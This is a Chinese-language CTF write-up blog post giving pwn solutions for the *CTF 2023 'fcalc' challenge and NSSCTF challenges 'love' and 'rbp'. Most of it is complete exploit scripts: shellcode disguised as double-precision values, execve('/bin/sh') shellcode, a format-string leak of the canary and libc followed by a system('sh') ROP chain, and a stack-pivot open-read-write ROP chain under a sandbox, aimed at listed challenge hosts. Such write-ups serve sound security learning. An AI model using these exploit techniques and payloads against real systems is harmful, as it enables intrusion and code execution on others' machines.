首页 > 其他分享 >*CTF和nssctf#16的wp

*CTF和nssctf#16的wp

时间:2023-07-31 22:12:11浏览次数:48  
标签:set p64 puts 16 addx CTF pd wp sc

*ctf2023 fcalc

分析程序

本题存在漏洞,是生活中很容易犯的错误,就是循环或者判断的时候没有注意多一还是少一,这种会发生很严重的问题。比如这个题在过滤数字的时候没有过滤掉0,所以输入0的时候会跳转到栈的内容,从而被攻击者执行shellcode。

不过本题目不能直接执行,因为存在一个对浮点数的检查,如果不符合检查会报错,所以写shellcode的时候要伪造成double浮点数,实际上就是把前面改成0x4040即可。

并且要注意binsh的长度过长,不能直接提权,要走orw。
(后续看了逮捕你战队,发现可以使用移位运算两位两位修改rdi为binsh,然后作为参数,确实没想到)

exp 我的

from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

setup('./pwn')
#libset('libc-2.23.so')
rsetup('61.147.171.105',62960)

putsplt = pltadd('puts')
dp('puts',hex(putsplt))
mainplt = 0x15b8
putsgot = gotadd('puts')
rsir15 = 0x00000000004006b1
ret = 0x0400499
rdiadd = 0x04006b3
#不要用write的地址泄露got,有别名

sla(':',b'1.0 2.0 -'*2)

shellcode = asm('''
    push 1
    pop rax
    ''')

#sa('-1',b'\x00'*80 + shellcode)
sa('-1',b'\x00'*80 + p64(0x40404867616c6668)+p64(0x4040f63190e78948)+p64(0x404090050f58026a)+p64(0x4040e68948c78948)+p64(0x40490900000040ba)+p64(0x40409090050fc031)+p64(0x4040909090e68948)+p64(0x404058016a5f016a)+p64(0x404090909090050f))
evgdb('b *$rebase(0x1876)')
print(shellcode)
sl(b'0')
ia()

exp2 参考逮捕你战队的

from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

setup('./pwn')
#libset('libc-2.23.so')
rsetup('61.147.171.105',62960)

putsplt = pltadd('puts')
dp('puts',hex(putsplt))
mainplt = 0x15b8
putsgot = gotadd('puts')
rsir15 = 0x00000000004006b1
ret = 0x0400499
rdiadd = 0x04006b3
#不要用write的地址泄露got,有别名

sla(':',b'1.0 2.0 -'*2)

shellcode = asm('''
    push 1
    pop rax
    ''')

def set_sc(sc):
    pd = flat(
        {
            0:sc
        },filler = '\x40',length=8
    )
    return pd

pd = b'1' +b' '*7 + p64(0x3ff0000000000000)*10
pd+= set_sc("\x48\x31\xc0")
pd+= set_sc("\xb8\x3b\x00\x00\x00")
pd+= set_sc("\xbf\x2f\x73\x68\x00")
pd+=set_sc("\x48\xc1\xe7\x10")
pd+=set_sc("\x66\x81\xc7\x69\x6e")
pd+=set_sc("\x48\xc1\xe7\x10")
pd+=set_sc("\x66\x81\xc7\x2f\x62")
pd+=set_sc("\x57\x48\x89\xe7")
pd+=set_sc("\x48\x31\xf6")
pd+=set_sc("\x48\x31\xd2\x0f\x05")

sa('Enter your expression:',pd)
evgdb('b *$rebase(0x1876)')
sla('Result: ',b'0')

ia()

image

最后syscall就行,参考学习一下,很好的思路。shl rdi,0x10相当于乘以0x10000。

nssctf#14

love

from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

setup('./0')
libset('libc.so.6')
rsetup('node3.anna.nssctf.cn',28586)
evgdb()

#感谢T1d师傅,本题patch还需要patchelf --add-needed 你的目录/libpthread.so.0 pwn

rdi =0x00000000004013f3
payload = b'%520c%9$n-%17$p-%15$p\x00\x00\x00sh\x00'
#写入sh,使用fmt促成相等,泄露libc地址和canary
#fmt无所不能

sd(payload)
can = tet()
can = tet()
addx = ru('-')
addx = int(ru('-')[:-1],16)
dp('addx',hex(addx))
base = getbase(addx,'__libc_start_main',243)
can = int(ru('00')[-18:],16)
dp('can',hex(can))
os = base+0xe3b04
sys = symoff('system',base)
binsh = 0x4040d8

sla('level',b'a'*0x28+p64(can)+p64(0)+p64(rdi)+p64(binsh)+p64(0x40101a)+p64(sys))


ia()

rbp

和之前那个旅行者题目很像,使用call read进行栈迁移即可。这里有一个很好的参考博客。
http://t.csdn.cn/XRf6t
感谢这个师傅,不过后面的操作好像有点繁琐。
因为开了沙盒execve,我走的orw,并且用libc里的一些gadget控制参数。最后的w用的是程序自带的puts。

from evilblade import *  
  
context(os='linux', arch='amd64')  
context(os='linux', arch='amd64', log_level='debug')  
  
setup('./pwn')  
libset('libc.so.6')  
rsetup('node1.anna.nssctf.cn',28642)  
  
vuln = 0x401270  
lv = 0x40121d  
puts = pltadd('puts')  
start = symadd('_start')  
bss = 0x404500  
rdi = 0x0000000000401353 # pop rdi ; ret  
rsir15 =0x0000000000401351  
putsgot = gotadd('puts')  
  
sd(b'a'*0x210+p64(bss)+p64(0x401292))  
sd(b'a'*0x210+p64(bss+0x210)+p64(0x401292))  
sd(b'a'*8+p64(rdi)+p64(putsgot)+p64(puts)+p64(0x401292))  
addx = tet()  
addx = tet()  
addx = tet()  
addx = tet()  
addx = getx64(0,-1)  
base = getbase(addx,'puts')  
openadd = symoff('open',base)  
syscall = base+0x000000000002284d  
read = symoff('read',base)  
rax = base+0x0000000000036174  
rdx= base+0x0000000000142c92  
  
evgdb()  
flag = 0x404500+0x90+0x18  
payload = (b'aaaaaaaabaaaaaaacaaaaaaaflag\x00aaa'+p64(rdi))  
payload += p64(flag) + p64(rsir15)+p64(0)*2+ p64(openadd)#open  
payload += p64(rdi) + p64(3) + p64(rsir15) + p64(0x404800) + p64(0)#read  
payload += p64(rdx) + p64(0x30) + p64(read)  
payload += p64(rdi) + p64(0x404800) + p64(puts)  
payload += b'flag\x00'  
sd(payload)  
  
ia()

标签:set,p64,puts,16,addx,CTF,pd,wp,sc
From: https://www.cnblogs.com/9man/p/17594723.html

相关文章

  • WPF安装打包程序
    转载于:https://blog.csdn.net/Reborn214/article/details/127671649WPF程序打包1.在VisualStudio扩展中下载并安装MicrosoftVisualStudioInstallerProjects2022 2.以Release模式运行项目3.在解决方案中新建Setup项目 4.将项目工程Debug或者Release......
  • [UUCTF 2022 新生赛]ez_rce
    [UUCTF2022新生赛]ez_rce题目来源:nssctf题目类型:web涉及考点:无参数rce1.先做代码审计:<?php##放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????if(isset($_GET['code'])){$code=$_GET['code'];if(!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|mo......
  • [SWPUCTF 2022 新生赛]js_sign
    [SWPUCTF2022新生赛]js_sign题目来源:nssctf题目类型:web涉及考点:JS分析1.题目给了一个传入口,不管传入什么都回显‘fuckoff’查看源代码:看到一个base64编码,先解码看看:2.搜了下发现tapcode是个编码方式,于是对flag进行tapcode解码把它构造成flag的形式即可:NS......
  • CTFer成长记录——CTF之Misc专题·攻防世界—glance-50
    一、题目链接https://adworld.xctf.org.cn/challenges/list二、解法步骤  打开附件是一个非常狭窄的gif动图,看来想用stegslove暂停来取是不可能的了。这里我们可以用gif分解网站:https://tu.sioe.cn/gj/fenjie/。  将文件上传得到:  最后flag:TWCTF{BlissbyCharlesO'Re......
  • P1686 挑战 题解
    原题链接题目大意\(图上两个x或y值相同的点,如果其没有一条线段直接相连,则这两个点之间的距离为一条捷径\)\(给定一条路径,求此路径上最短的捷径长度(注意,是捷径最短)以及捷径的起止点和方向\)数据范围\(1\len\le250000\)\(先考虑x值相同的情况,假设有3个点A,B,C可以互相构成......
  • P7167 Fountain
    原题有n个盘子组成的塔,向第i个盘子上倒水,若溢出会落到下面第一个直径大的盘子里,直到落到底部的水池为止。现给出q次询问,\((r,v)\)代表向第r个盘子里倒入体积为v的水,求水最终会停在哪个盘子一开始用ST表保存区间内盘子直径最大值,给出\(r\)后,递归求解\([r,n]\)区间内最大值k,并继......
  • corctf2023
    fizzbuzz100题目代码:#!/usr/local/bin/pythonfromCrypto.Util.numberimport*fromosimporturandomflag=open("flag.txt","rb").read()flag=bytes_to_long(urandom(16)+flag+urandom(16))p=getPrime(512)q=getPrime(512)n=p......
  • CTFer成长记录——CTF之Web专题·攻防世界—NewsCenter
    一、题目链接https://adworld.xctf.org.cn/challenges/list二、解法步骤    本题打开是让我们搜新闻,新闻的数据就是来自于数据库的,那么比较容易想到这题应该是sql注入。  首先判断是否能单引号绕过:输入hello正常回显,但hello',发现页面空白,说明hello'会报错,且报错无回显......
  • 解锁wp7手机实现真机调试
    http://www.dotblogs.com.tw/vbwp7/archive/2011/11/13/57683.aspx 注册西安文理学院的edu邮箱  点此注册补充说明一下:1.该邮箱账号注册之后直接就是live账号,这个Live账号可以只用作解锁用,可以绑定3台wp7设备解锁;手机上的电子邮件和账户里绑定的账号可以是这个账号也可以是其......
  • DASCTF 2023 & 0X401七月暑期挑战赛
    比赛只出了一道,小菜不是罪过-_-controlflow这个题动调到底就行foriinrange(40):after_xor[i]=inp[i]^0x401after_xor[i]+=i*i;foriinrange(11,30,1):x=i-10after_xor[i]^=x*(x+1)foriinrange(40):after_xor[i]-=iafter_xo......